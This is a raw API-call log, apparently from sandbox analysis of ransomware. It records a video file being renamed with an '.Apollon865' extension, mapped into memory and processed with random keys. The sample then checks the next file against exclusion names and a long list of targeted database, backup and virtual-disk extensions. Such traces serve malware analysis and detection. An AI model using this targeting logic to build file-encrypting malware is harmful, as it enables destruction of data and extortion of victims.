	[0086.657] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hAi8-2ik1bCNPces5Q\\jUyHLYXoL0Zwx55G2f.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hai8-2ik1bcnpces5q\\juyhlyxol0zwx55g2f.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hAi8-2ik1bCNPces5Q\\jUyHLYXoL0Zwx55G2f.mkv.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hai8-2ik1bcnpces5q\\juyhlyxol0zwx55g2f.mkv.apollon865"), dwFlags=0x1) returned 1
	[0086.658] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hAi8-2ik1bCNPces5Q\\jUyHLYXoL0Zwx55G2f.mkv.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hai8-2ik1bcnpces5q\\juyhlyxol0zwx55g2f.mkv.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0086.659] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=64424) returned 1
	[0086.659] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0086.659] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0086.659] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0086.659] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0086.660] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0086.660] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.660] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfeb0, lpName=0x0) returned 0x15c
	[0086.660] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xfeb0) returned 0x100000
	[0086.663] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0086.663] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0086.663] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.663] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0086.664] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0086.664] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0086.664] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0086.664] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0086.664] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0086.664] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0086.664] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0086.664] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0086.664] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0086.664] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0086.665] CloseHandle (hObject=0x15c) returned 1
	[0086.665] CloseHandle (hObject=0x9c) returned 1
	[0086.666] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0086.666] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0086.666] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0086.666] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ebb2a90, ftCreationTime.dwHighDateTime=0x1d4d1b8, ftLastAccessTime.dwLowDateTime=0xc1489fe0, ftLastAccessTime.dwHighDateTime=0x1d4c6a6, ftLastWriteTime.dwLowDateTime=0xc1489fe0, ftLastWriteTime.dwHighDateTime=0x1d4c6a6, nFileSizeHigh=0x0, nFileSizeLow=0x17bbc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kypfleYqzdoAf0tdH8d.mkv", cAlternateFileName="KYPFLE~1.MKV")) returned 1
	[0086.666] lstrcmpiW (lpString1="kypfleYqzdoAf0tdH8d.mkv", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.666] lstrcmpiW (lpString1="kypfleYqzdoAf0tdH8d.mkv", lpString2="Apollon865.txt.exe") returned 1
	[0086.666] lstrcmpiW (lpString1="kypfleYqzdoAf0tdH8d.mkv", lpString2=".") returned 1
	[0086.666] lstrcmpiW (lpString1="kypfleYqzdoAf0tdH8d.mkv", lpString2="..") returned 1
	[0086.666] lstrcmpiW (lpString1="kypfleYqzdoAf0tdH8d.mkv", lpString2="windows") returned -1
	[0086.666] lstrcmpiW (lpString1="kypfleYqzdoAf0tdH8d.mkv", lpString2="bootmgr") returned 1
	[0086.666] lstrcmpiW (lpString1="kypfleYqzdoAf0tdH8d.mkv", lpString2="temp") returned -1
	[0086.667] lstrcmpiW (lpString1="kypfleYqzdoAf0tdH8d.mkv", lpString2="pagefile.sys") returned -1
	[0086.667] lstrcmpiW (lpString1="kypfleYqzdoAf0tdH8d.mkv", lpString2="boot") returned 1
	[0086.667] lstrcmpiW (lpString1="kypfleYqzdoAf0tdH8d.mkv", lpString2="ids.txt") returned 1
	[0086.667] lstrcmpiW (lpString1="kypfleYqzdoAf0tdH8d.mkv", lpString2="ntuser.dat") returned -1
	[0086.667] lstrcmpiW (lpString1="kypfleYqzdoAf0tdH8d.mkv", lpString2="perflogs") returned -1
	[0086.667] lstrcmpiW (lpString1="kypfleYqzdoAf0tdH8d.mkv", lpString2="MSBuild") returned -1
	[0086.667] lstrlenW (lpString="kypfleYqzdoAf0tdH8d.mkv") returned 23
	[0086.667] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hAi8-2ik1bCNPces5Q\\jUyHLYXoL0Zwx55G2f.mkv") returned 78
	[0086.667] lstrcpyW (in: lpString1=0x119e678, lpString2="kypfleYqzdoAf0tdH8d.mkv" | out: lpString1="kypfleYqzdoAf0tdH8d.mkv") returned="kypfleYqzdoAf0tdH8d.mkv"
	[0086.667] lstrlenW (lpString="kypfleYqzdoAf0tdH8d.mkv") returned 23
	[0086.667] lstrlenW (lpString="Apollon865") returned 10
	[0086.667] lstrcmpiW (lpString1="0tdH8d.mkv", lpString2="Apollon865") returned -1
	[0086.667] lstrlenW (lpString=".dll") returned 4
	[0086.667] lstrcmpiW (lpString1="kypfleYqzdoAf0tdH8d.mkv", lpString2=".dll") returned 1
	[0086.667] lstrlenW (lpString=".lnk") returned 4
	[0086.667] lstrcmpiW (lpString1="kypfleYqzdoAf0tdH8d.mkv", lpString2=".lnk") returned 1
	[0086.667] lstrlenW (lpString=".ini") returned 4
	[0086.667] lstrcmpiW (lpString1="kypfleYqzdoAf0tdH8d.mkv", lpString2=".ini") returned 1
	[0086.667] lstrlenW (lpString=".sys") returned 4
	[0086.667] lstrcmpiW (lpString1="kypfleYqzdoAf0tdH8d.mkv", lpString2=".sys") returned 1
	[0086.667] lstrlenW (lpString="kypfleYqzdoAf0tdH8d.mkv") returned 23
	[0086.667] lstrlenW (lpString="bak") returned 3
	[0086.667] lstrcmpiW (lpString1="mkv", lpString2="bak") returned 1
	[0086.667] lstrlenW (lpString="ba_") returned 3
	[0086.667] lstrcmpiW (lpString1="mkv", lpString2="ba_") returned 1
	[0086.667] lstrlenW (lpString="dbb") returned 3
	[0086.667] lstrcmpiW (lpString1="mkv", lpString2="dbb") returned 1
	[0086.667] lstrlenW (lpString="vmdk") returned 4
	[0086.667] lstrcmpiW (lpString1=".mkv", lpString2="vmdk") returned -1
	[0086.667] lstrlenW (lpString="rar") returned 3
	[0086.667] lstrcmpiW (lpString1="mkv", lpString2="rar") returned -1
	[0086.667] lstrlenW (lpString="zip") returned 3
	[0086.667] lstrcmpiW (lpString1="mkv", lpString2="zip") returned -1
	[0086.667] lstrlenW (lpString="tgz") returned 3
	[0086.667] lstrcmpiW (lpString1="mkv", lpString2="tgz") returned -1
	[0086.667] lstrlenW (lpString="vbox") returned 4
	[0086.668] lstrcmpiW (lpString1=".mkv", lpString2="vbox") returned -1
	[0086.668] lstrlenW (lpString="vdi") returned 3
	[0086.668] lstrcmpiW (lpString1="mkv", lpString2="vdi") returned -1
	[0086.668] lstrlenW (lpString="vhd") returned 3
	[0086.668] lstrcmpiW (lpString1="mkv", lpString2="vhd") returned -1
	[0086.668] lstrlenW (lpString="vhdx") returned 4
	[0086.668] lstrcmpiW (lpString1=".mkv", lpString2="vhdx") returned -1
	[0086.668] lstrlenW (lpString="avhd") returned 4
	[0086.668] lstrcmpiW (lpString1=".mkv", lpString2="avhd") returned -1
	[0086.668] lstrlenW (lpString="db") returned 2
	[0086.668] lstrcmpiW (lpString1="kv", lpString2="db") returned 1
	[0086.668] lstrlenW (lpString="db2") returned 3
	[0086.668] lstrcmpiW (lpString1="mkv", lpString2="db2") returned 1
	[0086.668] lstrlenW (lpString="db3") returned 3
	[0086.668] lstrcmpiW (lpString1="mkv", lpString2="db3") returned 1
	[0086.668] lstrlenW (lpString="dbf") returned 3
	[0086.668] lstrcmpiW (lpString1="mkv", lpString2="dbf") returned 1
	[0086.668] lstrlenW (lpString="mdf") returned 3
	[0086.668] lstrcmpiW (lpString1="mkv", lpString2="mdf") returned 1
	[0086.668] lstrlenW (lpString="mdb") returned 3
	[0086.668] lstrcmpiW (lpString1="mkv", lpString2="mdb") returned 1
	[0086.668] lstrlenW (lpString="sql") returned 3
	[0086.668] lstrcmpiW (lpString1="mkv", lpString2="sql") returned -1
	[0086.668] lstrlenW (lpString="sqlite") returned 6
	[0086.668] lstrcmpiW (lpString1="8d.mkv", lpString2="sqlite") returned -1
	[0086.668] lstrlenW (lpString="sqlite3") returned 7
	[0086.668] lstrcmpiW (lpString1="H8d.mkv", lpString2="sqlite3") returned -1
	[0086.668] lstrlenW (lpString="sqlitedb") returned 8
	[0086.668] lstrcmpiW (lpString1="dH8d.mkv", lpString2="sqlitedb") returned -1
	[0086.668] lstrlenW (lpString="xml") returned 3
	[0086.668] lstrcmpiW (lpString1="mkv", lpString2="xml") returned -1
	[0086.668] lstrlenW (lpString="$er") returned 3
	[0086.668] lstrcmpiW (lpString1="mkv", lpString2="$er") returned 1
	[0086.668] lstrlenW (lpString="4dd") returned 3
	[0086.668] lstrcmpiW (lpString1="mkv", lpString2="4dd") returned 1
	[0086.668] lstrlenW (lpString="4dl") returned 3
	[0086.668] lstrcmpiW (lpString1="mkv", lpString2="4dl") returned 1
	[0086.669] lstrlenW (lpString="^^^") returned 3
	[0086.669] lstrcmpiW (lpString1="mkv", lpString2="^^^") returned 1
	[0086.669] lstrlenW (lpString="abs") returned 3
	[0086.669] lstrcmpiW (lpString1="mkv", lpString2="abs") returned 1
	[0086.669] lstrlenW (lpString="abx") returned 3
	[0086.669] lstrcmpiW (lpString1="mkv", lpString2="abx") returned 1
	[0086.669] lstrlenW (lpString="accdb") returned 5
	[0086.669] lstrcmpiW (lpString1="d.mkv", lpString2="accdb") returned 1
	[0086.669] lstrlenW (lpString="accdc") returned 5
	[0086.669] lstrcmpiW (lpString1="d.mkv", lpString2="accdc") returned 1
	[0086.669] lstrlenW (lpString="accde") returned 5
	[0086.669] lstrcmpiW (lpString1="d.mkv", lpString2="accde") returned 1
	[0086.669] lstrlenW (lpString="accdr") returned 5
	[0086.669] lstrcmpiW (lpString1="d.mkv", lpString2="accdr") returned 1
	[0086.669] lstrlenW (lpString="accdt") returned 5
	[0086.669] lstrcmpiW (lpString1="d.mkv", lpString2="accdt") returned 1
	[0086.669] lstrlenW (lpString="accdw") returned 5
	[0086.669] lstrcmpiW (lpString1="d.mkv", lpString2="accdw") returned 1
	[0086.669] lstrlenW (lpString="accft") returned 5
	[0086.669] lstrcmpiW (lpString1="d.mkv", lpString2="accft") returned 1
	[0086.669] lstrlenW (lpString="adb") returned 3
	[0086.669] lstrcmpiW (lpString1="mkv", lpString2="adb") returned 1
	[0086.669] lstrlenW (lpString="adb") returned 3
	[0086.669] lstrcmpiW (lpString1="mkv", lpString2="adb") returned 1
	[0086.669] lstrlenW (lpString="ade") returned 3
	[0086.669] lstrcmpiW (lpString1="mkv", lpString2="ade") returned 1
	[0086.669] lstrlenW (lpString="adf") returned 3
	[0086.669] lstrcmpiW (lpString1="mkv", lpString2="adf") returned 1
	[0086.669] lstrlenW (lpString="adn") returned 3
	[0086.669] lstrcmpiW (lpString1="mkv", lpString2="adn") returned 1
	[0086.669] lstrlenW (lpString="adp") returned 3
	[0086.669] lstrcmpiW (lpString1="mkv", lpString2="adp") returned 1
	[0086.669] lstrlenW (lpString="alf") returned 3
	[0086.669] lstrcmpiW (lpString1="mkv", lpString2="alf") returned 1
	[0086.669] lstrlenW (lpString="ask") returned 3
	[0086.669] lstrcmpiW (lpString1="mkv", lpString2="ask") returned 1
	[0086.670] lstrlenW (lpString="btr") returned 3
	[0086.670] lstrcmpiW (lpString1="mkv", lpString2="btr") returned 1
	[0086.670] lstrlenW (lpString="cat") returned 3
	[0086.670] lstrcmpiW (lpString1="mkv", lpString2="cat") returned 1
	[0086.670] lstrlenW (lpString="cdb") returned 3
	[0086.670] lstrcmpiW (lpString1="mkv", lpString2="cdb") returned 1
	[0086.670] lstrlenW (lpString="ckp") returned 3
	[0086.670] lstrcmpiW (lpString1="mkv", lpString2="ckp") returned 1
	[0086.670] lstrlenW (lpString="cma") returned 3
	[0086.670] lstrcmpiW (lpString1="mkv", lpString2="cma") returned 1
	[0086.670] lstrlenW (lpString="cpd") returned 3
	[0086.670] lstrcmpiW (lpString1="mkv", lpString2="cpd") returned 1
	[0086.670] lstrlenW (lpString="dacpac") returned 6
	[0086.670] lstrcmpiW (lpString1="8d.mkv", lpString2="dacpac") returned -1
	[0086.670] lstrlenW (lpString="dad") returned 3
	[0086.670] lstrcmpiW (lpString1="mkv", lpString2="dad") returned 1
	[0086.670] lstrlenW (lpString="dadiagrams") returned 10
	[0086.670] lstrcmpiW (lpString1="0tdH8d.mkv", lpString2="dadiagrams") returned -1
	[0086.670] lstrlenW (lpString="daschema") returned 8
	[0086.670] lstrcmpiW (lpString1="dH8d.mkv", lpString2="daschema") returned 1
	[0086.670] lstrlenW (lpString="db-journal") returned 10
	[0086.670] lstrcmpiW (lpString1="0tdH8d.mkv", lpString2="db-journal") returned -1
	[0086.670] lstrlenW (lpString="db-shm") returned 6
	[0086.670] lstrcmpiW (lpString1="8d.mkv", lpString2="db-shm") returned -1
	[0086.670] lstrlenW (lpString="db-wal") returned 6
	[0086.670] lstrcmpiW (lpString1="8d.mkv", lpString2="db-wal") returned -1
	[0086.670] lstrlenW (lpString="dbc") returned 3
	[0086.670] lstrcmpiW (lpString1="mkv", lpString2="dbc") returned 1
	[0086.670] lstrlenW (lpString="dbs") returned 3
	[0086.670] lstrcmpiW (lpString1="mkv", lpString2="dbs") returned 1
	[0086.670] lstrlenW (lpString="dbt") returned 3
	[0086.670] lstrcmpiW (lpString1="mkv", lpString2="dbt") returned 1
	[0086.670] lstrlenW (lpString="dbv") returned 3
	[0086.670] lstrcmpiW (lpString1="mkv", lpString2="dbv") returned 1
	[0086.670] lstrlenW (lpString="dbx") returned 3
	[0086.670] lstrcmpiW (lpString1="mkv", lpString2="dbx") returned 1
	[0086.670] lstrlenW (lpString="dcb") returned 3
	[0086.671] lstrcmpiW (lpString1="mkv", lpString2="dcb") returned 1
	[0086.671] lstrlenW (lpString="dct") returned 3
	[0086.671] lstrcmpiW (lpString1="mkv", lpString2="dct") returned 1
	[0086.671] lstrlenW (lpString="dcx") returned 3
	[0086.671] lstrcmpiW (lpString1="mkv", lpString2="dcx") returned 1
	[0086.671] lstrlenW (lpString="ddl") returned 3
	[0086.671] lstrcmpiW (lpString1="mkv", lpString2="ddl") returned 1
	[0086.671] lstrlenW (lpString="dlis") returned 4
	[0086.671] lstrcmpiW (lpString1=".mkv", lpString2="dlis") returned -1
	[0086.671] lstrlenW (lpString="dp1") returned 3
	[0086.671] lstrcmpiW (lpString1="mkv", lpString2="dp1") returned 1
	[0086.671] lstrlenW (lpString="dqy") returned 3
	[0086.671] lstrcmpiW (lpString1="mkv", lpString2="dqy") returned 1
	[0086.671] lstrlenW (lpString="dsk") returned 3
	[0086.671] lstrcmpiW (lpString1="mkv", lpString2="dsk") returned 1
	[0086.671] lstrlenW (lpString="dsn") returned 3
	[0086.671] lstrcmpiW (lpString1="mkv", lpString2="dsn") returned 1
	[0086.671] lstrlenW (lpString="dtsx") returned 4
	[0086.671] lstrcmpiW (lpString1=".mkv", lpString2="dtsx") returned -1
	[0086.671] lstrlenW (lpString="dxl") returned 3
	[0086.671] lstrcmpiW (lpString1="mkv", lpString2="dxl") returned 1
	[0086.671] lstrlenW (lpString="eco") returned 3
	[0086.671] lstrcmpiW (lpString1="mkv", lpString2="eco") returned 1
	[0086.671] lstrlenW (lpString="ecx") returned 3
	[0086.671] lstrcmpiW (lpString1="mkv", lpString2="ecx") returned 1
	[0086.671] lstrlenW (lpString="edb") returned 3
	[0086.671] lstrcmpiW (lpString1="mkv", lpString2="edb") returned 1
	[0086.671] lstrlenW (lpString="epim") returned 4
	[0086.671] lstrcmpiW (lpString1=".mkv", lpString2="epim") returned -1
	[0086.671] lstrlenW (lpString="fcd") returned 3
	[0086.671] lstrcmpiW (lpString1="mkv", lpString2="fcd") returned 1
	[0086.671] lstrlenW (lpString="fdb") returned 3
	[0086.671] lstrcmpiW (lpString1="mkv", lpString2="fdb") returned 1
	[0086.671] lstrlenW (lpString="fic") returned 3
	[0086.671] lstrcmpiW (lpString1="mkv", lpString2="fic") returned 1
	[0086.671] lstrlenW (lpString="flexolibrary") returned 12
	[0086.671] lstrcmpiW (lpString1="Af0tdH8d.mkv", lpString2="flexolibrary") returned -1
	[0086.672] lstrlenW (lpString="fm5") returned 3
	[0086.672] lstrcmpiW (lpString1="mkv", lpString2="fm5") returned 1
	[0086.672] lstrlenW (lpString="fmp") returned 3
	[0086.672] lstrcmpiW (lpString1="mkv", lpString2="fmp") returned 1
	[0086.672] lstrlenW (lpString="fmp12") returned 5
	[0086.672] lstrcmpiW (lpString1="d.mkv", lpString2="fmp12") returned -1
	[0086.672] lstrlenW (lpString="fmpsl") returned 5
	[0086.672] lstrcmpiW (lpString1="d.mkv", lpString2="fmpsl") returned -1
	[0086.672] lstrlenW (lpString="fol") returned 3
	[0086.672] lstrcmpiW (lpString1="mkv", lpString2="fol") returned 1
	[0086.672] lstrlenW (lpString="fp3") returned 3
	[0086.672] lstrcmpiW (lpString1="mkv", lpString2="fp3") returned 1
	[0086.672] lstrlenW (lpString="fp4") returned 3
	[0086.672] lstrcmpiW (lpString1="mkv", lpString2="fp4") returned 1
	[0086.672] lstrlenW (lpString="fp5") returned 3
	[0086.672] lstrcmpiW (lpString1="mkv", lpString2="fp5") returned 1
	[0086.672] lstrlenW (lpString="fp7") returned 3
	[0086.672] lstrcmpiW (lpString1="mkv", lpString2="fp7") returned 1
	[0086.672] lstrlenW (lpString="fpt") returned 3
	[0086.672] lstrcmpiW (lpString1="mkv", lpString2="fpt") returned 1
	[0086.672] lstrlenW (lpString="frm") returned 3
	[0086.672] lstrcmpiW (lpString1="mkv", lpString2="frm") returned 1
	[0086.672] lstrlenW (lpString="gdb") returned 3
	[0086.672] lstrcmpiW (lpString1="mkv", lpString2="gdb") returned 1
	[0086.672] lstrlenW (lpString="gdb") returned 3
	[0086.672] lstrcmpiW (lpString1="mkv", lpString2="gdb") returned 1
	[0086.672] lstrlenW (lpString="grdb") returned 4
	[0086.672] lstrcmpiW (lpString1=".mkv", lpString2="grdb") returned -1
	[0086.672] lstrlenW (lpString="gwi") returned 3
	[0086.672] lstrcmpiW (lpString1="mkv", lpString2="gwi") returned 1
	[0086.672] lstrlenW (lpString="hdb") returned 3
	[0086.672] lstrcmpiW (lpString1="mkv", lpString2="hdb") returned 1
	[0086.672] lstrlenW (lpString="his") returned 3
	[0086.672] lstrcmpiW (lpString1="mkv", lpString2="his") returned 1
	[0086.672] lstrlenW (lpString="ib") returned 2
	[0086.672] lstrcmpiW (lpString1="kv", lpString2="ib") returned 1
	[0086.673] lstrlenW (lpString="idb") returned 3
	[0086.673] lstrcmpiW (lpString1="mkv", lpString2="idb") returned 1
	[0086.673] lstrlenW (lpString="ihx") returned 3
	[0086.673] lstrcmpiW (lpString1="mkv", lpString2="ihx") returned 1
	[0086.673] lstrlenW (lpString="itdb") returned 4
	[0086.673] lstrcmpiW (lpString1=".mkv", lpString2="itdb") returned -1
	[0086.673] lstrlenW (lpString="itw") returned 3
	[0086.673] lstrcmpiW (lpString1="mkv", lpString2="itw") returned 1
	[0086.673] lstrlenW (lpString="jet") returned 3
	[0086.673] lstrcmpiW (lpString1="mkv", lpString2="jet") returned 1
	[0086.673] lstrlenW (lpString="jtx") returned 3
	[0086.673] lstrcmpiW (lpString1="mkv", lpString2="jtx") returned 1
	[0086.673] lstrlenW (lpString="kdb") returned 3
	[0086.673] lstrcmpiW (lpString1="mkv", lpString2="kdb") returned 1
	[0086.673] lstrlenW (lpString="kexi") returned 4
	[0086.673] lstrcmpiW (lpString1=".mkv", lpString2="kexi") returned -1
	[0086.673] lstrlenW (lpString="kexic") returned 5
	[0086.673] lstrcmpiW (lpString1="d.mkv", lpString2="kexic") returned -1
	[0086.673] lstrlenW (lpString="kexis") returned 5
	[0086.673] lstrcmpiW (lpString1="d.mkv", lpString2="kexis") returned -1
	[0086.673] lstrlenW (lpString="lgc") returned 3
	[0086.673] lstrcmpiW (lpString1="mkv", lpString2="lgc") returned 1
	[0086.673] lstrlenW (lpString="lwx") returned 3
	[0086.673] lstrcmpiW (lpString1="mkv", lpString2="lwx") returned 1
	[0086.673] lstrlenW (lpString="maf") returned 3
	[0086.673] lstrcmpiW (lpString1="mkv", lpString2="maf") returned 1
	[0086.673] lstrlenW (lpString="maq") returned 3
	[0086.673] lstrcmpiW (lpString1="mkv", lpString2="maq") returned 1
	[0086.673] lstrlenW (lpString="mar") returned 3
	[0086.673] lstrcmpiW (lpString1="mkv", lpString2="mar") returned 1
	[0086.673] lstrlenW (lpString="marshal") returned 7
	[0086.673] lstrcmpiW (lpString1="H8d.mkv", lpString2="marshal") returned -1
	[0086.673] lstrlenW (lpString="mas") returned 3
	[0086.673] lstrcmpiW (lpString1="mkv", lpString2="mas") returned 1
	[0086.673] lstrlenW (lpString="mav") returned 3
	[0086.673] lstrcmpiW (lpString1="mkv", lpString2="mav") returned 1
	[0086.674] lstrlenW (lpString="maw") returned 3
	[0086.674] lstrcmpiW (lpString1="mkv", lpString2="maw") returned 1
	[0086.674] lstrlenW (lpString="mdbhtml") returned 7
	[0086.674] lstrcmpiW (lpString1="H8d.mkv", lpString2="mdbhtml") returned -1
	[0086.674] lstrlenW (lpString="mdn") returned 3
	[0086.674] lstrcmpiW (lpString1="mkv", lpString2="mdn") returned 1
	[0086.674] lstrlenW (lpString="mdt") returned 3
	[0086.674] lstrcmpiW (lpString1="mkv", lpString2="mdt") returned 1
	[0086.674] lstrlenW (lpString="mfd") returned 3
	[0086.674] lstrcmpiW (lpString1="mkv", lpString2="mfd") returned 1
	[0086.674] lstrlenW (lpString="mpd") returned 3
	[0086.674] lstrcmpiW (lpString1="mkv", lpString2="mpd") returned -1
	[0086.674] lstrlenW (lpString="mrg") returned 3
	[0086.674] lstrcmpiW (lpString1="mkv", lpString2="mrg") returned -1
	[0086.674] lstrlenW (lpString="mud") returned 3
	[0086.674] lstrcmpiW (lpString1="mkv", lpString2="mud") returned -1
	[0086.674] lstrlenW (lpString="mwb") returned 3
	[0086.674] lstrcmpiW (lpString1="mkv", lpString2="mwb") returned -1
	[0086.674] lstrlenW (lpString="myd") returned 3
	[0086.674] lstrcmpiW (lpString1="mkv", lpString2="myd") returned -1
	[0086.674] lstrlenW (lpString="ndf") returned 3
	[0086.674] lstrcmpiW (lpString1="mkv", lpString2="ndf") returned -1
	[0086.674] lstrlenW (lpString="nnt") returned 3
	[0086.674] lstrcmpiW (lpString1="mkv", lpString2="nnt") returned -1
	[0086.674] lstrlenW (lpString="nrmlib") returned 6
	[0086.674] lstrcmpiW (lpString1="8d.mkv", lpString2="nrmlib") returned -1
	[0086.674] lstrlenW (lpString="ns2") returned 3
	[0086.674] lstrcmpiW (lpString1="mkv", lpString2="ns2") returned -1
	[0086.674] lstrlenW (lpString="ns3") returned 3
	[0086.674] lstrcmpiW (lpString1="mkv", lpString2="ns3") returned -1
	[0086.674] lstrlenW (lpString="ns4") returned 3
	[0086.674] lstrcmpiW (lpString1="mkv", lpString2="ns4") returned -1
	[0086.675] lstrlenW (lpString="nsf") returned 3
	[0086.675] lstrcmpiW (lpString1="mkv", lpString2="nsf") returned -1
	[0086.675] lstrlenW (lpString="nv") returned 2
	[0086.675] lstrcmpiW (lpString1="kv", lpString2="nv") returned -1
	[0086.675] lstrlenW (lpString="nv2") returned 3
	[0086.675] lstrcmpiW (lpString1="mkv", lpString2="nv2") returned -1
	[0086.675] lstrlenW (lpString="nwdb") returned 4
	[0086.675] lstrcmpiW (lpString1=".mkv", lpString2="nwdb") returned -1
	[0086.675] lstrlenW (lpString="nyf") returned 3
	[0086.675] lstrcmpiW (lpString1="mkv", lpString2="nyf") returned -1
	[0086.675] lstrlenW (lpString="odb") returned 3
	[0086.675] lstrcmpiW (lpString1="mkv", lpString2="odb") returned -1
	[0086.675] lstrlenW (lpString="odb") returned 3
	[0086.675] lstrcmpiW (lpString1="mkv", lpString2="odb") returned -1
	[0086.675] lstrlenW (lpString="oqy") returned 3
	[0086.675] lstrcmpiW (lpString1="mkv", lpString2="oqy") returned -1
	[0086.675] lstrlenW (lpString="ora") returned 3
	[0086.675] lstrcmpiW (lpString1="mkv", lpString2="ora") returned -1
	[0086.675] lstrlenW (lpString="orx") returned 3
	[0086.675] lstrcmpiW (lpString1="mkv", lpString2="orx") returned -1
	[0086.675] lstrlenW (lpString="owc") returned 3
	[0086.675] lstrcmpiW (lpString1="mkv", lpString2="owc") returned -1
	[0086.676] lstrlenW (lpString="p96") returned 3
	[0086.676] lstrcmpiW (lpString1="mkv", lpString2="p96") returned -1
	[0086.676] lstrlenW (lpString="p97") returned 3
	[0086.676] lstrcmpiW (lpString1="mkv", lpString2="p97") returned -1
	[0086.676] lstrlenW (lpString="pan") returned 3
	[0086.676] lstrcmpiW (lpString1="mkv", lpString2="pan") returned -1
	[0086.676] lstrlenW (lpString="pdb") returned 3
	[0086.676] lstrcmpiW (lpString1="mkv", lpString2="pdb") returned -1
	[0086.676] lstrlenW (lpString="pdm") returned 3
	[0086.676] lstrcmpiW (lpString1="mkv", lpString2="pdm") returned -1
	[0086.676] lstrlenW (lpString="pnz") returned 3
	[0086.676] lstrcmpiW (lpString1="mkv", lpString2="pnz") returned -1
	[0086.676] lstrlenW (lpString="qry") returned 3
	[0086.676] lstrcmpiW (lpString1="mkv", lpString2="qry") returned -1
	[0086.676] lstrlenW (lpString="qvd") returned 3
	[0086.676] lstrcmpiW (lpString1="mkv", lpString2="qvd") returned -1
	[0086.676] lstrlenW (lpString="rbf") returned 3
	[0086.676] lstrcmpiW (lpString1="mkv", lpString2="rbf") returned -1
	[0086.676] lstrlenW (lpString="rctd") returned 4
	[0086.676] lstrcmpiW (lpString1=".mkv", lpString2="rctd") returned -1
	[0086.676] lstrlenW (lpString="rod") returned 3
	[0086.676] lstrcmpiW (lpString1="mkv", lpString2="rod") returned -1
	[0086.676] lstrlenW (lpString="rodx") returned 4
	[0086.676] lstrcmpiW (lpString1=".mkv", lpString2="rodx") returned -1
	[0086.676] lstrlenW (lpString="rpd") returned 3
	[0086.676] lstrcmpiW (lpString1="mkv", lpString2="rpd") returned -1
	[0086.676] lstrlenW (lpString="rsd") returned 3
	[0086.676] lstrcmpiW (lpString1="mkv", lpString2="rsd") returned -1
	[0086.676] lstrlenW (lpString="sas7bdat") returned 8
	[0086.676] lstrcmpiW (lpString1="dH8d.mkv", lpString2="sas7bdat") returned -1
	[0086.677] lstrlenW (lpString="sbf") returned 3
	[0086.677] lstrcmpiW (lpString1="mkv", lpString2="sbf") returned -1
	[0086.677] lstrlenW (lpString="scx") returned 3
	[0086.677] lstrcmpiW (lpString1="mkv", lpString2="scx") returned -1
	[0086.677] lstrlenW (lpString="sdb") returned 3
